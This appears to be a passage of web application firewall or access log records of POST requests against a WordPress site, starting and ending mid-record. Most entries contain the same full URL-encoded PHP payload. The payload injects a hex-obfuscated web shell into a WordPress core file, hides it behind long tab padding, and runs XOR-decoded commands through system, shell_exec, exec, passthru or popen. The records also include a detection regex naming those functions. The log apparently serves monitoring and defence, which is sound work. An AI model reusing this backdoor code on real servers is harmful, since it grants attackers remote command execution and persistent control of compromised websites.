%2520%2524property_set%2520%253D%2520reverse_searcher%2528%2524property_set%252C%252089%2529%253B%2520if%2520%2528function_exists%2528%2524unit_converter1%2529%2529%2520%257B%2520%2524unit_converter1%2528%2524property_set%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524unit_converter2%2529%2529%2520%257B%2520print%2520%2524unit_converter2%2528%2524property_set%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524unit_converter3%2529%2529%2520%257B%2520%2524unit_converter3%2528%2524property_set%252C%2520%2524k_ent%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524k_ent%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524unit_converter4%2529%2529%2520%257B%2520%2524unit_converter4%2528%2524property_set%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524unit_converter5%2529%2520%2526%2526%2520function_exists%2528%2524unit_converter6%2529%2520%2526%2526%2520function_exists%2528%2524unit_converter7%2529%2529%2520%257B%2520%2524flg_token%2520%253D%2520%2524unit_converter5%2528%2524property_set%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524flg_token%2529%2520%257B%2520%2524bind_symbol%2520%253D%2520%2524unit_converter6%2528%2524flg_token%2529%253B%2520%2524unit_converter7%2528%2524flg_token%2529%253B%2520print%2520%2524bind_symbol%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 13:47:03","172.86.89.164","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> rK:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-recovery-mode-email-service.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524unit_converter7%2520%253D%2520%2522%255Cx70%255Cx63l%255Cx6Fse%2522%253B%2520%2524unit_converter2%2520%253D%2520%2522%255Cx73%255Cx68%255Cx65%255Cx6C%255Cx6C_exec%2522%253B%2520%2524unit_converter6%2520%253D%2520%2522st%255Cx72%255Cx65a%255Cx6D%255Cx5F%255Cx67%255Cx65t%255Cx5F%255Cx63on%255Cx74%255Cx65nts%2522%253B%2520%2524unit_converter1%2520%253D%2520%2522s%255Cx79%255Cx73t%255Cx65m%2522%253B%2520%2524unit_converter3%2520%253D%2520%2522e%255Cx78%255Cx65c%2522%253B%2520%2524unit_converter4%2520%253D%2520%2522%255Cx70%255Cx61sst%255Cx68%255Cx72u%2522%253B%2520%2524unit_converter5%2520%253D%2520%2522%255Cx70%255Cx6Fpen%2522%253B%2520%2524service_registry%2520%253D%2520%2522%255Cx68ex2bi%255Cx6E%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx70ro%255Cx70%255Cx65%255Cx72%255Cx74y%255Cx5Fset%2522%255D%2529%2529%2520%257B%2520function%2520reverse_searcher%2520%2528%2520%2524ent%2520%252C%2520%2524flg%2520%2529%2520%257B%2520%2524token%2520%253D%2520%2527%2527%2520%253B%2520for%2528%2524s%253D0%253B%2520%2524s%253Cstrlen%2528%2524ent%2529%253B%2520%2524s%252B%252B%2529%257B%2520%2524token.%253Dchr%2528ord%2528%2524ent%255B%2524s%255D%2529%255E%2524flg%2529%253B%2520%257D%2520return%2520%2524token%253B%2520%257D%2520%2524property_set%2520%253D%2520%2524service_registry%2528%2524_POST%255B%2522%255Cx70ro%255Cx70%255Cx65%255Cx72%255Cx74y%255Cx5Fset%2522%255D%2529%253B%2520%2524property_set%2520%253D%2520reverse_searcher%2528%2524property_set%252C%252089%2529%253B%2520if%2520%2528function_exists%2528%2524unit_converter1%2529%2529%2520%257B%2520%2524unit_converter1%2528%2524property_set%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524unit_converter2%2529%2529%2520%257B%2520print%2520%2524unit_converter2%2528%2524property_set%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524unit_converter3%2529%2529%2520%257B%2520%2524unit_converter3%2528%2524property_set%252C%2520%2524k_ent%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524k_ent%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524unit_converter4%2529%2529%2520%257B%2520%2524unit_converter4%2528%2524property_set%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524unit_converter5%2529%2520%2526%2526%2520function_exists%2528%2524unit_converter6%2529%2520%2526%2526%2520function_exists%2528%2524unit_converter7%2529%2529%2520%257B%2520%2524flg_token%2520%253D%2520%2524unit_converter5%2528%2524property_set%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524flg_token%2529%2520%257B%2520%2524bind_symbol%2520%253D%2520%2524unit_converter6%2528%2524flg_token%2529%253B%2520%2524unit_converter7%2528%2524flg_token%2529%253B%2520print%2520%2524bind_symbol%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-site:none\nsec-fetch-mode:navigate\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvpxfvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz11oUEcVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-mobile:?0\nsec-fetch-dest:document\nsec-ch-ua-platform:\"Windows\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:5475\nsec-fetch-user:?1\n\nrK=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-recovery-mode-email-service.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524unit_converter7%2520%253D%2520%2522%255Cx70%255Cx63l%255Cx6Fse%2522%253B%2520%2524unit_converter2%2520%253D%2520%2522%255Cx73%255Cx68%255Cx65%255Cx6C%255Cx6C_exec%2522%253B%2520%2524unit_converter6%2520%253D%2520%2522st%255Cx72%255Cx65a%255Cx6D%255Cx5F%255Cx67%255Cx65t%255Cx5F%255Cx63on%255Cx74%255Cx65nts%2522%253B%2520%2524unit_converter1%2520%253D%2520%2522s%255Cx79%255Cx73t%255Cx65m%2522%253B%2520%2524unit_converter3%2520%253D%2520%2522e%255Cx78%255Cx65c%2522%253B%2520%2524unit_converter4%2520%253D%2520%2522%255Cx70%255Cx61sst%255Cx68%255Cx72u%2522%253B%2520%2524unit_converter5%2520%253D%2520%2522%255Cx70%255Cx6Fpen%2522%253B%2520%2524service_registry%2520%253D%2520%2522%255Cx68ex2bi%255Cx6E%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx70ro%255Cx70%255Cx65%255Cx72%255Cx74y%255Cx5Fset%2522%255D%2529%2529%2520%257B%2520function%2520reverse_searcher%2520%2528%2520%2524ent%2520%252C%2520%2524flg%2520%2529%2520%257B%2520%2524token%2520%253D%2520%2527%2527%2520%253B%2520for%2528%2524s%253D0%253B%2520%2524s%253Cstrlen%2528%2524ent%2529%253B%2520%2524s%252B%252B%2529%257B%2520%2524token.%253Dchr%2528ord%2528%2524ent%255B%2524s%255D%2529%255E%2524flg%2529%253B%2520%257D%2520return%2520%2524token%253B%2520%257D%2520%2524property_set%2520%253D%2520%2524service_registry%2528%2524_POST%255B%2522%255Cx70ro%255Cx70%255Cx65%255Cx72%255Cx74y%255Cx5Fset%2522%255D%2529%253B%2520%2524property_set%2520%253D%2520reverse_searcher%2528%2524property_set%252C%252089%2529%253B%2520if%2520%2528function_exists%2528%2524unit_converter1%2529%2529%2520%257B%2520%2524unit_converter1%2528%2524property_set%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524unit_converter2%2529%2529%2520%257B%2520print%2520%2524unit_converter2%2528%2524property_set%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524unit_converter3%2529%2529%2520%257B%2520%2524unit_converter3%2528%2524property_set%252C%2520%2524k_ent%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524k_ent%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524unit_converter4%2529%2529%2520%257B%2520%2524unit_converter4%2528%2524property_set%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524unit_converter5%2529%2520%2526%2526%2520function_exists%2528%2524unit_converter6%2529%2520%2526%2526%2520function_exists%2528%2524unit_converter7%2529%2529%2520%257B%2520%2524flg_token%2520%253D%2520%2524unit_converter5%2528%2524property_set%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524flg_token%2529%2520%257B%2520%2524bind_symbol%2520%253D%2520%2524unit_converter6%2528%2524flg_token%2529%253B%2520%2524unit_converter7%2528%2524flg_token%2529%253B%2520print%2520%2524bind_symbol%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 13:47:19","148.113.9.51","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> AR:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-recovery-mode-email-service.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524unit_converter7%2520%253D%2520%2522%255Cx70%255Cx63l%255Cx6Fse%2522%253B%2520%2524unit_converter2%2520%253D%2520%2522%255Cx73%255Cx68%255Cx65%255Cx6C%255Cx6C_exec%2522%253B%2520%2524unit_converter6%2520%253D%2520%2522st%255Cx72%255Cx65a%255Cx6D%255Cx5F%255Cx67%255Cx65t%255Cx5F%255Cx63on%255Cx74%255Cx65nts%2522%253B%2520%2524unit_converter1%2520%253D%2520%2522s%255Cx79%255Cx73t%255Cx65m%2522%253B%2520%2524unit_converter3%2520%253D%2520%2522e%255Cx78%255Cx65c%2522%253B%2520%2524unit_converter4%2520%253D%2520%2522%255Cx70%255Cx61sst%255Cx68%255Cx72u%2522%253B%2520%2524unit_converter5%2520%253D%2520%2522%255Cx70%255Cx6Fpen%2522%253B%2520%2524service_registry%2520%253D%2520%2522%255Cx68ex2bi%255Cx6E%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx70ro%255Cx70%255Cx65%255Cx72%255Cx74y%255Cx5Fset%2522%255D%2529%2529%2520%257B%2520function%2520reverse_searcher%2520%2528%2520%2524ent%2520%252C%2520%2524flg%2520%2529%2520%257B%2520%2524token%2520%253D%2520%2527%2527%2520%253B%2520for%2528%2524s%253D0%253B%2520%2524s%253Cstrlen%2528%2524ent%2529%253B%2520%2524s%252B%252B%2529%257B%2520%2524token.%253Dchr%2528ord%2528%2524ent%255B%2524s%255D%2529%255E%2524flg%2529%253B%2520%257D%2520return%2520%2524token%253B%2520%257D%2520%2524property_set%2520%253D%2520%2524service_registry%2528%2524_POST%255B%2522%255Cx70ro%255Cx70%255Cx65%255Cx72%255Cx74y%255Cx5Fset%2522%255D%2529%253B%2520%2524property_set%2520%253D%2520reverse_searcher%2528%2524property_set%252C%252089%2529%253B%2520if%2520%2528function_exists%2528%2524unit_converter1%2529%2529%2520%257B%2520%2524unit_converter1%2528%2524property_set%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524unit_converter2%2529%2529%2520%257B%2520print%2520%2524unit_converter2%2528%2524property_set%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524unit_converter3%2529%2529%2520%257B%2520%2524unit_converter3%2528%2524property_set%252C%2520%2524k_ent%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524k_ent%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524unit_converter4%2529%2529%2520%257B%2520%2524unit_converter4%2528%2524property_set%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524unit_converter5%2529%2520%2526%2526%2520function_exists%2528%2524unit_converter6%2529%2520%2526%2526%2520function_exists%2528%2524unit_converter7%2529%2529%2520%257B%2520%2524flg_token%2520%253D%2520%2524unit_converter5%2528%2524property_set%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524flg_token%2529%2520%257B%2520%2524bind_symbol%2520%253D%2520%2524unit_converter6%2528%2524flg_token%2529%253B%2520%2524unit_converter7%2528%2524flg_token%2529%253B%2520print%2520%2524bind_symbol%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nsec-fetch-site:none\nsec-fetch-mode:navigate\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvDIVvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWypKIyp3EmVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-ch-ua:\"Google Chrome\";v=\"107\", \"Chromium\";v=\"107\", \"Not=A?Brand\";v=\"24\"\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-mobile:?0\nsec-fetch-dest:document\nsec-ch-ua-platform:\"Windows\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:5475\nsec-fetch-user:?1\n\nAR=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-recovery-mode-email-service.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524unit_converter7%2520%253D%2520%2522%255Cx70%255Cx63l%255Cx6Fse%2522%253B%2520%2524unit_converter2%2520%253D%2520%2522%255Cx73%255Cx68%255Cx65%255Cx6C%255Cx6C_exec%2522%253B%2520%2524unit_converter6%2520%253D%2520%2522st%255Cx72%255Cx65a%255Cx6D%255Cx5F%255Cx67%255Cx65t%255Cx5F%255Cx63on%255Cx74%255Cx65nts%2522%253B%2520%2524unit_converter1%2520%253D%2520%2522s%255Cx79%255Cx73t%255Cx65m%2522%253B%2520%2524unit_converter3%2520%253D%2520%2522e%255Cx78%255Cx65c%2522%253B%2520%2524unit_converter4%2520%253D%2520%2522%255Cx70%255Cx61sst%255Cx68%255Cx72u%2522%253B%2520%2524unit_converter5%2520%253D%2520%2522%255Cx70%255Cx6Fpen%2522%253B%2520%2524service_registry%2520%253D%2520%2522%255Cx68ex2bi%255Cx6E%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx70ro%255Cx70%255Cx65%255Cx72%255Cx74y%255Cx5Fset%2522%255D%2529%2529%2520%257B%2520function%2520reverse_searcher%2520%2528%2520%2524ent%2520%252C%2520%2524flg%2520%2529%2520%257B%2520%2524token%2520%253D%2520%2527%2527%2520%253B%2520for%2528%2524s%253D0%253B%2520%2524s%253Cstrlen%2528%2524ent%2529%253B%2520%2524s%252B%252B%2529%257B%2520%2524token.%253Dchr%2528ord%2528%2524ent%255B%2524s%255D%2529%255E%2524flg%2529%253B%2520%257D%2520return%2520%2524token%253B%2520%257D%2520%2524property_set%2520%253D%2520%2524service_registry%2528%2524_POST%255B%2522%255Cx70ro%255Cx70%255Cx65%255Cx72%255Cx74y%255Cx5Fset%2522%255D%2529%253B%2520%2524property_set%2520%253D%2520reverse_searcher%2528%2524property_set%252C%252089%2529%253B%2520if%2520%2528function_exists%2528%2524unit_converter1%2529%2529%2520%257B%2520%2524unit_converter1%2528%2524property_set%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524unit_converter2%2529%2529%2520%257B%2520print%2520%2524unit_converter2%2528%2524property_set%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524unit_converter3%2529%2529%2520%257B%2520%2524unit_converter3%2528%2524property_set%252C%2520%2524k_ent%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524k_ent%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524unit_converter4%2529%2529%2520%257B%2520%2524unit_converter4%2528%2524property_set%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524unit_converter5%2529%2520%2526%2526%2520function_exists%2528%2524unit_converter6%2529%2520%2526%2526%2520function_exists%2528%2524unit_converter7%2529%2529%2520%257B%2520%2524flg_token%2520%253D%2520%2524unit_converter5%2528%2524property_set%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524flg_token%2529%2520%257B%2520%2524bind_symbol%2520%253D%2520%2524unit_converter6%2528%2524flg_token%2529%253B%2520%2524unit_converter7%2528%2524flg_token%2529%253B%2520print%2520%2524bind_symbol%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 13:47:27","103.136.211.220","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> ZQ:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-recovery-mode-email-service.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524unit_converter7%2520%253D%2520%2522%255Cx70%255Cx63l%255Cx6Fse%2522%253B%2520%2524unit_converter2%2520%253D%2520%2522%255Cx73%255Cx68%255Cx65%255Cx6C%255Cx6C_exec%2522%253B%2520%2524unit_converter6%2520%253D%2520%2522st%255Cx72%255Cx65a%255Cx6D%255Cx5F%255Cx67%255Cx65t%255Cx5F%255Cx63on%255Cx74%255Cx65nts%2522%253B%2520%2524unit_converter1%2520%253D%2520%2522s%255Cx79%255Cx73t%255Cx65m%2522%253B%2520%2524unit_converter3%2520%253D%2520%2522e%255Cx78%255Cx65c%2522%253B%2520%2524unit_converter4%2520%253D%2520%2522%255Cx70%255Cx61sst%255Cx68%255Cx72u%2522%253B%2520%2524unit_converter5%2520%253D%2520%2522%255Cx70%255Cx6Fpen%2522%253B%2520%2524service_registry%2520%253D%2520%2522%255Cx68ex2bi%255Cx6E%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx70ro%255Cx70%255Cx65%255Cx72%255Cx74y%255Cx5Fset%2522%255D%2529%2529%2520%257B%2520function%2520reverse_searcher%2520%2528%2520%2524ent%2520%252C%2520%2524flg%2520%2529%2520%257B%2520%2524token%2520%253D%2520%2527%2527%2520%253B%2520for%2528%2524s%253D0%253B%2520%2524s%253Cstrlen%2528%2524ent%2529%253B%2520%2524s%252B%252B%2529%257B%2520%2524token.%253Dchr%2528ord%2528%2524ent%255B%2524s%255D%2529%255E%2524flg%2529%253B%2520%257D%2520return%2520%2524token%253B%2520%257D%2520%2524property_set%2520%253D%2520%2524service_registry%2528%2524_POST%255B%2522%255Cx70ro%255Cx70%255Cx65%255Cx72%255Cx74y%255Cx5Fset%2522%255D%2529%253B%2520%2524property_set%2520%253D%2520reverse_searcher%2528%2524property_set%252C%252089%2529%253B%2520if%2520%2528function_exists%2528%2524unit_converter1%2529%2529%2520%257B%2520%2524unit_converter1%2528%2524property_set%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524unit_converter2%2529%2529%2520%257B%2520print%2520%2524unit_converter2%2528%2524property_set%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524unit_converter3%2529%2529%2520%257B%2520%2524unit_converter3%2528%2524property_set%252C%2520%2524k_ent%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524k_ent%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524unit_converter4%2529%2529%2520%257B%2520%2524unit_converter4%2528%2524property_set%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524unit_converter5%2529%2520%2526%2526%2520function_exists%2528%2524unit_converter6%2529%2520%2526%2526%2520function_exists%2528%2524unit_converter7%2529%2529%2520%257B%2520%2524flg_token%2520%253D%2520%2524unit_converter5%2528%2524property_set%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524flg_token%2529%2520%257B%2520%2524bind_symbol%2520%253D%2520%2524unit_converter6%2528%2524flg_token%2529%253B%2520%2524unit_converter7%2528%2524flg_token%2529%2